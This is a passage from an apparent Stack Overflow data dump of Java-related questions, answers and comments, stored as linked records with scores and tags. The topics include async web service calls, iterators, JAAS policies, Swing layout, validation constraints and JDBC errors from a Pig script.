has body: In my payment processing service I have two different webservice calls. First call to get customer's details and second call to payment gateway service for payment processing. These calls are not dependant on each other and can be called in any order. Payment gateway call configured with 30 seconds timeout and customer detail call with 10 seconds. Currently calling them synchronously takes 40 seconds (30 + 10). I want these calls to be made asynchronously for the performance reason. Calling them asynchronously will save 10 seconds processing as when payment gateway is processing the concurrent call to the customer details could be completed in the mean time. How to implement this in java elegantly?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/35879923
tagged with: performance

http://stackoverflow.com/comment/33897927
type: QuestionComment
has text: I have heard that SO better than official documentation
comment on: http://stackoverflow.com/q/22308244
score: 0
type: Comment

http://stackoverflow.com/comment/33880332
comment on: http://stackoverflow.com/a/22296371
type: AnswerComment
type: Comment
score: 0
has text: Correct me if I'm wrong, but I can't see how running depth-first search can count the number of ways to get from the current state to the end, it can, however, count the number of rounds needed.

http://stackoverflow.com/comment/33657788
comment on: http://stackoverflow.com/a/22175722
score: 0
has text: I don't get it :( would you please explain?
type: Comment
type: AnswerComment

http://stackoverflow.com/a/22267970
has body: Iterator Advantage: Ability to remove elements from Collections. Ability to move forward and backward using next() and previous(). Ability to check if there more elements or not by using hasNext(). Loop was designed only to iterate over a Collection, so if you want just to iterate over a Collection, its better to use loop such as for-Each, but if you want more that that you could use Iterator.
answers question: http://stackoverflow.com/q/22267919
has comment: http://stackoverflow.com/comment/110767780
downvote count: 0
has comment: http://stackoverflow.com/comment/33824391
type: Answer
score: 29
upvote count: 29

http://stackoverflow.com/comment/33730507
comment on: http://stackoverflow.com/q/22203991
score: 0
type: QuestionComment
type: Comment
has text: You question is very confusing but I suggest you look at having individual expiry for messages by setting the TTL to a specific value. That way the msgs will be automatically removed from the queue once they are no longer relevant

http://stackoverflow.com/comment/41237122
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/24690460
has text: actually after some duration i switched to Eclipse Luna with android plugin instead of ADT because after update ADT has caused several issues like this one...It doesn't generate template codes for google maps or any other activities. Eclipse luna with Android plugin is better.

http://stackoverflow.com/comment/33670514
type: Comment
has text: Yes, that would seem to satisfy your requirement. You can even used a fixed length array, knowing how many combinations you'll get ahead of time.
score: 0
comment on: http://stackoverflow.com/q/22182532
type: QuestionComment

http://stackoverflow.com/comment/37639508
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22309812
score: 0
has text: @Zibbobz You're welcome to add that as an answer and accept it, and also flag your question as typo/unreproducible as the answer won't be helpful to other readers.

http://stackoverflow.com/comment/33861281
type: Comment
comment on: http://stackoverflow.com/q/22288247
score: 0
has text: @SotiriosDelimanolis yes, it appears that even though you might be using a particular JDK, it can "target" features of a previous version, thanks for the tip
type: QuestionComment

http://stackoverflow.com/comment/33905316
has text: Thanks for the help! Could you maybe add a little more explanation in the code? What is "Node" used for and how does childNode(x) work?
type: Comment
comment on: http://stackoverflow.com/a/22311735
score: 0
type: AnswerComment

http://stackoverflow.com/a/22317610
downvote count: 0
has body: Try these commands using tomcat, place your servlet source in src folder and run these, C:\Documents and Settings\ssit&gt;cd C:\src C:\src&gt;javac -classpath "C:\Program Files\Apache Software Foundation\Tomcat 6.0\ lib\servlet-api.jar" MyServlet.java you can get the class file for the servlet. After getting the class file make the war file.
answers question: http://stackoverflow.com/q/22317485
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/33712246
comment on: http://stackoverflow.com/q/22205980
type: Comment
type: QuestionComment
has text: can you please post the code?
score: 0

http://stackoverflow.com/a/22195820
accepted answer of: http://stackoverflow.com/q/22195778
has body: &lt;%= System.getProperties().getProperty(java.version) %&gt; replace it with &lt;%= System.getProperties().getProperty("java.version") %&gt; The required input to getProperty() method is of String type and you need to pass String with double quotes.
answers question: http://stackoverflow.com/q/22195778
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/33695125
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/33873936
comment on: http://stackoverflow.com/q/22295216
type: Comment
type: QuestionComment
has text: @EJP You're right; I was thinking of `BufferedReader` instead of `Scanner`.
score: 0

http://stackoverflow.com/q/22205851
type: Question
tagged with: iterator
downvote count: 0
favorite count: 0
answer count: 3
has answer: http://stackoverflow.com/a/22205900
accepted answer: http://stackoverflow.com/a/22205909
score: 2
upvote count: 2
has body: We have a HashSet of objects: private Set&lt;Client&gt; clients = new HashSet&lt;Client&gt;(); And iterator for it: private Iterator&lt;Client&gt; iterator = clients.iterator(); Lets add object to that set and print out iterators hasNext method output: Client client = new Client(name); clients.add(client); System.out.println(iterator.hasNext()); The output is: "false". Why?
linked to: http://stackoverflow.com/q/7237886
tagged with: set
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22205895
has comment: http://stackoverflow.com/comment/33711833
has answer: http://stackoverflow.com/a/22205895
tagged with: java
has title: Java iterator hasNext() method allways false
has answer: http://stackoverflow.com/a/22205909

http://stackoverflow.com/comment/33735390
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22218917
type: Comment
has text: Are you trying to create some Tutors objects in Bootstrap.groovy?

http://stackoverflow.com/comment/33826342
score: 0
type: AnswerComment
has text: @martynas I add the log check in your code after `int i ...` and the logs show that `i = 1234`
comment on: http://stackoverflow.com/a/22268246
type: Comment

http://stackoverflow.com/comment/33912068
comment on: http://stackoverflow.com/q/22316607
has text: You can tremendously improve the random-set generator by implementing it as a shuffle. What you've got now is not guaranteed to generate a complete set, and emphatically is not efficient.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22204174
favorite count: 0
score: 2
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22204527
has title: Multi Threading application + web application
tagged with: java
has answer: http://stackoverflow.com/a/22204249
type: Question
upvote count: 2
has body: Is a typical J2ee web application or any web app built on top java is multi threaded application , so every time i write some code i have to keep race condition or concurrent modification in mind ?
has answer: http://stackoverflow.com/a/22204232
answer count: 3
linked to: http://stackoverflow.com/q/3106452

http://stackoverflow.com/comment/39606749
type: QuestionComment
comment on: http://stackoverflow.com/q/22276091
has text: @HovercraftFullOfEels, thanks! I wasn't sure how it worked.
score: 0
type: Comment

http://stackoverflow.com/a/22315422
has comment: http://stackoverflow.com/comment/33910809
answers question: http://stackoverflow.com/q/22315337
downvote count: 0
has comment: http://stackoverflow.com/comment/33910116
has body: Try Matcher.find, splitting is slow since it creates a lot of objects
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/33910221

http://stackoverflow.com/q/22189366
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/42286208
tagged with: jaas
has comment: http://stackoverflow.com/comment/33693265
tagged with: securitymanager
tagged with: authorization
type: Question
has title: Access denied in JAAS authorisation
score: 0
tagged with: java
answer count: 1
has body: I am designing a JAAS authentication and authorisation application.In the authentication part,the username and password entered by the user is matched against the values retrieved from the database.There are three principals for each user(username,password,position).Upon successful authentication the principals are added to the subject.This part is working fine. The problem lies in the authorisation part(when I set the SecurityManager),where depending upon the position (either manager or employee) permissions are granted. The policy file is grant codebase "/home/esamsar/NetBeansProjects/JAAS/*" { permission javax.security.auth.AuthPermission "createLoginContext.Sample"; permission javax.security.auth.AuthPermission "doAsPrivileged"; } grant Principal PositionPrincipal "manager" { permission java.util.PropertyPermission "java.home", "read"; permission java.util.PropertyPermission "user.home", "read,write"; permission java.io.FilePermission "topsecurity.txt", "read"; }; grant Principal PositionPrincipal "employee" { permission java.util.PropertyPermission "java.home", "read"; permission java.util.PropertyPermission "user.home", "read,write"; }; Upon adding the following lines of code I encounter "Cannot create LoginContext. access denied ("java.util.PropertyPermission" "java.security.auth.login.config" "write")" System.setSecurityManager(new SecurityManager()); System.setProperty("java.security.auth.login.config", configFile); System.setProperty( "java.security.policy", policyFile ); configFile and policyFile are the jaas configuration file and policy file respectively. What could I add to my policy file to resolve the problem.Thank in advance.
has comment: http://stackoverflow.com/comment/33687171

http://stackoverflow.com/q/22233512
has comment: http://stackoverflow.com/comment/33761545
score: 22
has answer: http://stackoverflow.com/a/50749975
favorite count: 0
tagged with: hibernate-validator
upvote count: 22
has answer: http://stackoverflow.com/a/22826010
has body: How can we ensure the individual strings inside a list are not null/blank or follow a specific pattern @NotNull List&lt;String&gt; emailIds; I also want to add a pattern @Pattern("\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b.") but I can live without it.But I would definitely like to have a constraint which will check if any strings inside a list are null or blank. Also how would the Json schema look like "ids": { "description": "The ids associated with this.", "type": "array", "minItems": 1, "items": { "type": "string", "required" :true } } "required" :true does not seem to do the job
answer count: 4
linked to: http://stackoverflow.com/q/4308224
has answer: http://stackoverflow.com/a/22233776
accepted answer: http://stackoverflow.com/a/22233776
has answer: http://stackoverflow.com/a/22233581
tagged with: jsr
has comment: http://stackoverflow.com/comment/33761832
possible better answer: http://stackoverflow.com/a/50749975
type: AnsweredQuestion
downvote count: 0
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has title: Adding @NotNull or Pattern constraints on List<String>
has comment: http://stackoverflow.com/comment/33761553
type: Question
tagged with: validation

http://stackoverflow.com/q/22213595
has comment: http://stackoverflow.com/comment/33726538
has comment: http://stackoverflow.com/comment/33737171
has comment: http://stackoverflow.com/comment/33726655
answer count: 0
has comment: http://stackoverflow.com/comment/33728378
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33727982
has comment: http://stackoverflow.com/comment/33734557
score: 0
has body: I have a javaws app with a chunk of code running on the server side. Here is a simple example: public class Stuff { public static synchronized coolStuff(String something, String somethingElse) { System.out.println("It is a: " + something); System.out.println("It is also a: " + somethingElse); } } I have multpiple clients (400+) calling this piece of code via a controller, ultimatly the following is sent to the server side: Clinet 1: coolStuff("BIG TRUCK", "BIG CAR"); Client 2: coolStuff("BIG TV", "BIG PHONE"); The serverside will printout (log) a mix of both request, something like: It is a: "BIG TV" It is also a "BIG_CAR" I'm not sure how this is happening since my server method is synchronized. Keep in mind, this is just a random code example. Am I missing something fundamental here?
has comment: http://stackoverflow.com/comment/33726560
has title: Java static synchronized method handling many clients is mashing data
has comment: http://stackoverflow.com/comment/33744274
tagged with: synchronized
has comment: http://stackoverflow.com/comment/33727185
type: UnansweredQuestion

http://stackoverflow.com/comment/33847422
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22280600
has text: Thanks for the answer, but how can I use this so it gives me a list of all words. like an array of strings. Is there a specific method or something?

http://stackoverflow.com/comment/33673001
has text: Try `mazePoints[i] = mazeLine;` underneath the line from your previous comment. Needs to be inside the loop.
comment on: http://stackoverflow.com/q/22182920
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33846906
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22280013
has text: @ErwinBolwidt Doesn't work for me under JDK 1.8.0 - build 129. And neither in eclipse with source levels at 1.8
score: 0

http://stackoverflow.com/comment/33769253
comment on: http://stackoverflow.com/q/22237012
has text: All of the answers below are variations on the same idea: You must somehow compare every member of the array to every other member of the array. The Set-based answers do it behind-the-scenes, while Robin Krahl's answer does it explicitly.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39293624
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22293397
type: Comment
has text: @AndrewS *"Then Oracle will have to block all, unsigned applets.."* Which would be noticed by about .1% of Java Developers. The major source of 'I want to make an applet' are newbies who are instructed to do so by their teacher. And to that I say.. (stock comment follows) Why code an applet? If it is due to spec by your instructor, please refer them to [Why CS teachers should **stop** teaching Java applets](http://programmers.blogoverflow.com/2013/05/why-cs-teachers-should-stop-teaching-java-applets/).

http://stackoverflow.com/a/22251207
type: Answer
has body: I don't know of any tool which can do profiling without an impact on performance. You could add logging to the methods that you're interested in. Make sure you include the time stamp in the log; then you can do the timing. You should also configure the logging framework to log asynchronously to reduce the performance loss. A load time weaver like AspectJ is able to add these calls at runtime, which would allow you to easily select the methods you want to monitor without changing the source code all the time. Using an around aspect, you can even add timing logging, so you don't have to parse the logs and try to find matching log entries. See this blog post for details. Have a look at perfspy (tutorial), it might already do out of the box what you need. Related: How to use AOP with AspectJ for logging? http://mathewjhall.wordpress.com/2011/03/31/tracing-java-method-execution-with-aspectj/ http://www.jroller.com/holy/entry/injecting_timing_aspect_into_junit
score: 1
has comment: http://stackoverflow.com/comment/33878444
upvote count: 1
has comment: http://stackoverflow.com/comment/33793519
downvote count: 0
answers question: http://stackoverflow.com/q/22250303

http://stackoverflow.com/comment/33880627
has text: Then before you do anything else, _test the data you loaded_. Without a strict ordering, rownum filters won't work. See http://www.oracle.com/technetwork/issue-archive/2006/06-sep/o56asktom-086197.html
score: 0
comment on: http://stackoverflow.com/q/22298303
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22289870
upvote count: 3
has comment: http://stackoverflow.com/comment/33864792
score: 3
answers question: http://stackoverflow.com/q/22289755
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22289755
has body: The reason you cannot do this is because you have an array of primitive types. Primitive types must have a value in Java. This is because they are values, not references to objects. An object such as an Integer, is a reference to a chunk of memory on the heap. It makes sense for that to not point to anything, thus it can be null. In your case int[] array = int[50] (if it were syntactically correct), would never have a null element. You're better off trying something like this: int[] array = new int[50]; for(int k = 0; k &lt; 50; k++) { array[k] = console.nextInt(); } It's much more idiomatic and anybody who reads your code will be happier with you. If you try this, you'll get an index out of bounds error: int i = 0; Integer[] array = new Integer[50]; while (array[i] == null) { array[i] = console.nextInt(); i++; } So try this instead: Integer[] array = new Integer[50]; for(int i = 0; i &lt; array.length; i++) { array[i] = console.nextInt(); } If console is a Scanner, you should use: int i = 0; Integer[] array = new Integer[50]; while(console.hasNextInt() &amp;&amp; i &lt; 50) { array[++i] = console.nextInt(); }
type: Answer
has comment: http://stackoverflow.com/comment/33864639

http://stackoverflow.com/a/22209543
score: 0
type: Answer
has body: In the constructor of the class you are trying to create an object of this class. The problem is that this is a recursion and when you create a C7e2 object your program won't work. Do not create objects in the constructor of the class.
answers question: http://stackoverflow.com/q/22209452

http://stackoverflow.com/q/22317653
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22318235
has comment: http://stackoverflow.com/comment/33913939
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22317815
has answer: http://stackoverflow.com/a/22317974
has title: Read a text file and select only 2-3 columns from it using java code
answer count: 5
has body: I have a text file that reads 18 8 307 130 3504 12 70 1 10 15 8 350 165 3693 11 70 1 10 18 8 318 150 3436 11 70 1 10 16 8 304 150 3433 12 70 1 10 17 8 302 140 3449 10 70 1 10 where each value is separated by single space. Is there any algorithm by which we can select only specific columns instead of all columns and write them into another file? For ex. I want to work on 1st,2nd,5th and 6th column so my code should select all attributes in those columns and rewrite them in another file.
has answer: http://stackoverflow.com/a/22317897
type: UnansweredQuestion
score: 1
has answer: http://stackoverflow.com/a/22318505
tagged with: java

http://stackoverflow.com/q/22292888
has title: Netbeans code prediction
tagged with: java
type: Question
answer count: 1
tagged with: netbeans
type: UnansweredQuestion
score: 0
has answer: http://stackoverflow.com/a/22293222
has body: I am using Netbeans for couple of days to learn Java. I have used visual studio before for c# and it was really good at predicting but I can not find something for netbeans. I found something like ctrl and space for code completion but its really annoying to use them everytime. Rather I would expect something like visual studio. Let me know if there is any plugin or built in option for code prediction in netbeans. Thanks

http://stackoverflow.com/comment/33727243
score: 0
has text: Is each layer (or the box in a layer) intended to be a [Finite State Machine](http://www.objectmentor.com/resources/articles/umlfsm.pdf)?
comment on: http://stackoverflow.com/q/22213988
type: Comment
type: QuestionComment

http://stackoverflow.com/a/24867949
score: 3
answers question: http://stackoverflow.com/q/22191648
downvote count: 0
type: Answer
has body: I adjusted the config's on my Hudson server and started popping this error immediately after. I had to do the following to resolve the error: Shutdown Hudson Move the jobs directory to a non-hudson location (like my home directory) Start Hudson Manage Hudson -> Manage Plugins -> Enable Maven 2 plugin -> Save Shutdown Hudson Move the jobs directory back into place* Restart Hudson (If you know specific jobs that are Maven2-based, then you can just move these jobs out of the jobs directory). hth
upvote count: 3

http://stackoverflow.com/comment/33924716
score: 0
type: AnswerComment
has text: I downvoted because 1) http://meta.stackexchange.com/questions/44485/how-should-we-handle-premature-optimization-discussion-in-optimization-questions 2) you "actual" answer is wrong because there is anyway the same number of comparisons in `testA` and `testB` given by OP.
comment on: http://stackoverflow.com/a/22317470
type: Comment

http://stackoverflow.com/q/22322485
has title: Convert Jasper .jrxml to Microsofts .rdlc
score: 0
has answer: http://stackoverflow.com/a/22323126
answer count: 1
type: UnansweredQuestion
tagged with: rdlc
tagged with: java
type: Question
tagged with: jasper-reports
tagged with: c#
has body: I have a huge (literally in the hundreds) number of reports made in Jasper and saved in .jrxml format. Now, we are migrating some parts of our application to C#, and we need those reports. Our prefered solution would be to convert them to .rdlc and use Microsoft's native solution for reporting. Is this possible? Or would we be forced to remake them all? And before anyone suggests it, yes, we can call Java code to print reports. That is our temporary solution at the moment, but this is clunky and error prone, and we are trying to scrap java code from our base anyway, so we are looking for a long term solution.

http://stackoverflow.com/q/22242192
has answer: http://stackoverflow.com/a/22243322
tagged with: swing
has comment: http://stackoverflow.com/comment/33778399
has comment: http://stackoverflow.com/comment/33778537
has comment: http://stackoverflow.com/comment/33778242
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33778712
has comment: http://stackoverflow.com/comment/33778614
type: Question
tagged with: layout
possible better answer: http://stackoverflow.com/a/22243322
has title: How to create jlist from left corner to right corner?
score: 0
answer count: 2
has body: i am creating a jlist using swing and i want to create that list from top most right corner to top most left corner how can i do that i did following code package demoipis; import java.awt.Toolkit; import javax.swing.*; public class CreateList{ public static void main(String[] args) { String subject[] = {"Math English"}; JFrame frame = new JFrame("Creating a JList Component"); JPanel panel = new JPanel(); Toolkit tk = Toolkit.getDefaultToolkit(); int xSize = ((int) tk.getScreenSize().getWidth()); int ySize = ((int) tk.getScreenSize().getHeight()); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); JList list = new JList(subject); frame.setUndecorated(true); frame.getRootPane().setWindowDecorationStyle(JRootPane.PLAIN_DIALOG); panel.add(list); frame.add(panel); frame.setSize(xSize,ySize); //frame.show(); frame.setVisible(true); } } how can i achieve desired output? Thanks in advance
has comment: http://stackoverflow.com/comment/33778082
has answer: http://stackoverflow.com/a/22242224
accepted answer: http://stackoverflow.com/a/22242224
tagged with: jframe
tagged with: jlist

http://stackoverflow.com/a/22327806
has body: Some notes: First of all you should override paintComponent() method. Don't forget to call super.paintComponent(g). Give your class setters to a and b attributes and call repaint() method from the outside. Take a look to Performing Custom Painting tutorial. Don't set the frame's size (or any Swing components size actually) . You can give a default size to the panel by overriding getPreferredSize() method. Example: public class OvalPanelCanvas extends JPanel { private int a, b; @Override protected void paintComponent(Graphics g) { super.paintComponent(g); Graphics2D graphics = (Graphics2D)g.create(); // just as good practice graphics.setColor(Color.black); graphics.drawLine(10, 10, a, b); graphics.dispose(); } @Override public Dimension getPreferredSize() { return isPreferredSizeSet() ? super.getPreferredSize() : new Dimension(200, 200); } public void setA(int a) { this.a = a; } public void setB(int b) { this.b = b; } }
score: 1
answers question: http://stackoverflow.com/q/22327009
has comment: http://stackoverflow.com/comment/33931693
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33931846
upvote count: 1

http://stackoverflow.com/a/22176908
type: Answer
has body: No!you're not correct! replace the line Date D = new Date(X * 1000); with Date D = new Date(X * 1000L);
accepted answer of: http://stackoverflow.com/q/22176818
upvote count: 4
type: AcceptedAnswer
downvote count: 0
score: 4
answers question: http://stackoverflow.com/q/22176818

http://stackoverflow.com/comment/33681063
type: Comment
score: 0
comment on: http://stackoverflow.com/q/22188458
type: QuestionComment
has text: "De 50 0 De 20 1 De 1 20" whent its only suppose to get "De 50 0 De 20 5 de 1 0

http://stackoverflow.com/comment/33881638
score: 0
comment on: http://stackoverflow.com/q/22299229
type: Comment
type: QuestionComment
has text: When are you doing the lookup? Lookups will only work once css has been applied, which is typically after the menu has been displayed.

http://stackoverflow.com/comment/33730835
has text: I'm confused. Those two look very similar. Only difference I see is two lines are in one (in first example).
comment on: http://stackoverflow.com/q/22216206
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/a/48183935
has body: DecimalFormat decimalFormat = new DecimalFormat(".#"); String result = decimalFormat.format(12.763); // --&gt; 12.7
upvote count: 5
answers question: http://stackoverflow.com/q/22186778
score: 4
has comment: http://stackoverflow.com/comment/136191087
type: Answer
has comment: http://stackoverflow.com/comment/126789158
downvote count: 1

http://stackoverflow.com/comment/33731122
score: 0
has text: Please share sample code.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22216478

http://stackoverflow.com/comment/33688668
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22192527
has text: @Rafik991 dude u can give just reference of that Super Class but u can not made that object using sub. u can not access Int y of sub class using that Super class object
score: 0

http://stackoverflow.com/a/22314026
has body: Your algorithm is ok really, the only problem is in the output. You are taking individual characters of your input string and outputting their counts, like this: S o m e s m a l l s a m p l e t e x t 1 1 3 3 2 3 2 3 3 2 2 3 1 3 3 2 3 1 2 Try using lettermap.keySet() instead: for (Character c2 : lettermap.keySet()) { System.out.printf("%s - %s\n", c2, lettermap.get(c2)); }
type: Answer
has comment: http://stackoverflow.com/comment/33907996
upvote count: 2
answers question: http://stackoverflow.com/q/22313962
score: 2
downvote count: 0

http://stackoverflow.com/a/22317342
has comment: http://stackoverflow.com/comment/33913314
type: Answer
answers question: http://stackoverflow.com/q/22317247
score: 4
downvote count: 1
upvote count: 5
has body: The difference is completely negligible in the grand scheme of things. Look at this demonstration. This isn't a java example, (javascript rather) but you can see why worrying about such micro optimizations won't really help solve real problems. Worry about making your java source easy to read and maintain. The compiler deserves more credit than you think.

http://stackoverflow.com/comment/34006271
comment on: http://stackoverflow.com/a/22268246
type: Comment
has text: I'VE DONE IT!!! @martynas in your code I've just edit `.getIntExtra("Days", days);` to `.getInt("Days", days);` and everything works now!
type: AnswerComment
score: 0

http://stackoverflow.com/a/22273532
type: Answer
answers question: http://stackoverflow.com/q/22272988
has body: Your method someMethod is an instance method - you always need an object instance before calling that method. If you really don't want to create an object instance of TheOtherClass than you can make your method "static". code1: package one; import one.onePointOne.TheOtherClass; public class MainClass { public static void main(String[] args) { TheOtherClass.someMethod(args[0]); } } code2: package one.onePointOne; public class TheOtherClass { public static void someMethod(String theValue) { String iWantTheValueOfArgsHere = theValue;// that's what I'm looking for } } Java's strength is object orientation. You should ask yourself, why you don't want to create an instance of your second class.
score: 0

http://stackoverflow.com/q/22201685
has body: I have been going over the following tutorial and came across this code which I do not understand the purpose of: URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write( data ); wr.flush(); I don't know what is the purpose of the above code and where is it writing this data to... From what I could gather, the documentation states that it converts character to bytes... but then it writes it to some where... not sure why this is.
tagged with: java
tagged with: web-services
has title: new to android - understanding the use of OutputStreamWriter in web service calls
accepted answer: http://stackoverflow.com/a/22202608
possible better answer: http://stackoverflow.com/a/22201750
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22201750
downvote count: 0
favorite count: 0
type: Question
upvote count: 2
answer count: 2
tagged with: android
has answer: http://stackoverflow.com/a/22202608

cxf
tags question: http://stackoverflow.com/q/22246838
type: Tag
tags question: http://stackoverflow.com/q/22324384
tags question: http://stackoverflow.com/q/22295616
tags question: http://stackoverflow.com/q/22237733
tags question: http://stackoverflow.com/q/22225115
tag name: cxf
tags question: http://stackoverflow.com/q/22211038

http://stackoverflow.com/comment/34015045
type: AnswerComment
score: 0
type: Comment
has text: plz show me an example code
comment on: http://stackoverflow.com/a/22323075

http://stackoverflow.com/q/22279347
has title: How to send message to JMS server from one machine and receive that from another machine in JBoss 7
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33845945
tagged with: java
has answer: http://stackoverflow.com/a/22296681
has comment: http://stackoverflow.com/comment/33845480
type: Question
has body: I am trying to send message(TextMessage) to JMS server from my laptop, then I am trying to receive that message from another laptop. I am using JBoss AS 7.1. My both laptops are connected in same network. When I am doing that I am getting exception. I searched for this in google and some is saying that in JBoss 7.1 JNDI will not get connections from remote IP's and they are saying that we have to use HornetQ. Can any one please help in this issue.
answer count: 1
tagged with: jboss7.x
score: 0
accepted answer: http://stackoverflow.com/a/22296681
tagged with: jms

http://stackoverflow.com/q/22248808
type: UnansweredQuestion
tagged with: jdbc
has comment: http://stackoverflow.com/comment/33789295
tagged with: apache-pig
tagged with: hive
type: Question
has body: I am trying to run a pig script register 'hdfs://localhost:8020/user/pig/jars/postgresql-9.3-1100.jdbc4.jar'; register 'hdfs://localhost:8020/user/pig/jars/piggybank.jar'; a = load 'hdfs://localhost:8020/user/hive/warehouse/outage' USING PigStorage(',') AS (no:int, name:chararray, age:int); STORE a INTO 'test' USING org.apache.pig.piggybank.storage.DBStorage('org.postgresql.Driver','jdbc:postgresql://127.0.0.1:5432/hivedata','postgres','123','INSERT INTO test (no, name, age)values(?,?,?)'); I am getting the data from hive but cannot write to postgresql ERROR org.apache.pig.backend.hadoop.executionengine.mapReduceLayer.Launcher - Backend error message java.io.IOException: java.lang.RuntimeException: JDBC error
tagged with: java
has comment: http://stackoverflow.com/comment/33789509
has comment: http://stackoverflow.com/comment/33789520
score: 0
has answer: http://stackoverflow.com/a/22249932
has title: POSTGRESQL JDBC Error Unable to recreate exception from backed error: java.io.IOException: JDBC Error
answer count: 1
tagged with: postgresql

http://stackoverflow.com/q/22234355
linked to: http://stackoverflow.com/q/1536953
has comment: http://stackoverflow.com/comment/33764018
has comment: http://stackoverflow.com/comment/33763226
score: 0
has comment: http://stackoverflow.com/comment/33765146
has comment: http://stackoverflow.com/comment/33763408
has body: Example Code : Main Program : package com.company.reference; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; public class Reference { public static void main (String arga[]) { List&lt;Map&lt;String,Data&gt;&gt; listOfMaps = new ArrayList&lt;Map&lt;String, Data&gt;&gt;(); Map&lt;String, Data&gt; m0 = new HashMap&lt;String, Data&gt;(); m0.put("userLines", new Data("amy", "strachan")); Map&lt;String, Data&gt; m1 = new HashMap&lt;String, Data&gt;(); m1.put("userLines", new Data("amy", "strachan")); listOfMaps.add(m0); listOfMaps.add(m1); for (Map&lt;String,Data&gt; m3 : listOfMaps) { System.out.println(m3); } List&lt;Document&gt; docs = new ArrayList&lt;Document&gt;(); for (int i = 0; i &lt; 2; i++) { Line line = new Line(); line.setDayOfWeek(DayOfWeek.MON); line.setActivity("1"); Map&lt;enumUser, Line&gt; m = new HashMap&lt;enumUser, Line&gt;(); m.put(enumUser.USER, line); Document doc = new Document(); int docId = i; doc.setId(docId); doc.setUserLines(m); docs.add(doc); } int cnt = 0; for (Document document : docs) { System.out.println(document.getUserLines()); document.getUserLines().get(enumUser.USER).setActivity("foo" + cnt); System.out.println(document.getUserLines()); cnt++; } } } Example Output : {a=com.company.reference.Data@30c3bb57} {a=com.company.reference.Data@4402083d} {U=com.company.reference.B@bb56a086} {U=com.company.reference.B@bb86ac7f} {U=com.company.reference.B@bb56a086} {U=com.company.reference.B@bb86ac80} Looking at the example output : a) Line 1 and Line 2 have different references. b) Line 3 and Line 5 have the same reference, Line 4 and Line 6 have different references. Question : Why do Line 3 and Line 5 have the same reference? Shouldnt they essentially emulate the behavior of Line 1 and Line 2. How did the Java runtime, separate the references in Line 4 and Line 6. That is, if there was an optimization done, how come the runtime was able to separate them once the internal values were differe…
has comment: http://stackoverflow.com/comment/33764877
answer count: 0
type: UnansweredQuestion
has title: How does the JVM deal with shared references, or more precisely with references
has comment: http://stackoverflow.com/comment/33764054
has comment: http://stackoverflow.com/comment/33763807
has comment: http://stackoverflow.com/comment/33763412
has comment: http://stackoverflow.com/comment/33765604
tagged with: java
has comment: http://stackoverflow.com/comment/33764672
has comment: http://stackoverflow.com/comment/33764814
type: Question
has comment: http://stackoverflow.com/comment/33763737
has comment: http://stackoverflow.com/comment/33764617

http://stackoverflow.com/a/22185046
answers question: http://stackoverflow.com/q/22184692
type: Answer
has body: I don't know how to set it at top left corner but one thing you could is to convert input coordinate to libgdx coordinate. I hope that could help you or help somebody else : int Screen_height = Gdx.graphics.getHeight(); // Your screen height @Override public boolean touchDown(int screenX, int screenY, int pointer, int button) { System.out.println("X: " + screenX + " Y: " + (Screen_height - screenY)); this.instance.player.setLocation(screenX, (Screen_height - screenY)); return false; }
score: 0

http://stackoverflow.com/comment/88749806
comment on: http://stackoverflow.com/a/22172638
score: 0
type: AnswerComment
has text: it is still giving errors..."java.lang.AssertionError: Expected exception: org.springframework.dao.DataAccessException"...even I have used 'new DataAccessException("..."){}'
type: Comment

http://stackoverflow.com/a/22325779
upvote count: 1
downvote count: 0
has body: This is working example .Understand it and apply it in your code as per requirement. SpannableString ss = new SpannableString("Hello How Are You"); ClickableSpan clickableSpan1 = new ClickableSpan() { @Override public void onClick(View textView) { //toast hello } }; ClickableSpan clickableSpan2 = new ClickableSpan() { @Override public void onClick(View textView) { // toast how } }; ClickableSpan clickableSpan3 = new ClickableSpan() { @Override public void onClick(View textView) { //toast are } }; ClickableSpan clickableSpan4 = new ClickableSpan() { @Override public void onClick(View textView) { //toast you } }; tView.setText(ss); ss.setSpan(clickableSpan1, 0, 4, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE); ss.setSpan(clickableSpan2, 5, 8, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE); ss.setSpan(clickableSpan3, 9, 12, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE); ss.setSpan(clickableSpan4, 12, 15, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
type: Answer
score: 1
